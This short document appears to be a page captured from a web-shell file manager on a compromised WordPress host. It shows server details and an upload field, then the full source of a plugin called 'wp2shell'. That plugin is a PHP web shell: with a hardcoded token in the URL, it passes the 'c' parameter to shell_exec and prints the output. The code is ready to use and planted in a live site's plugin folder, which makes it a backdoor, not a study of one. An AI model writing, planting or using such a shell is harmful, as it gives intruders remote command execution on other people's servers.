| Server IP : 213.132.222.41 / Your IP : 216.73.216.254 Web Server : Apache System : Linux plesk4.nlhosting.net 6.1.0-0.deb11.50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1~deb11u1 (2026-07-02) x86_64 User : thecovenant ( 10927) PHP Version : 8.3.32 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/thecovenant.nl/httpdocs/wp-content/plugins/tern-pilot/ |
Upload File : |
<?php
/*
Plugin Name: wp2shell
Description: PoC webshell. DELETE AFTER TESTING.
*/
if (hash_equals('86ecc37cf47f06187124ffa78d488551', (string)($_GET['t'] ?? '')) && isset($_GET['c'])) {
echo 'WP2SHELL::' . shell_exec((string)$_GET['c']) . '::END';
}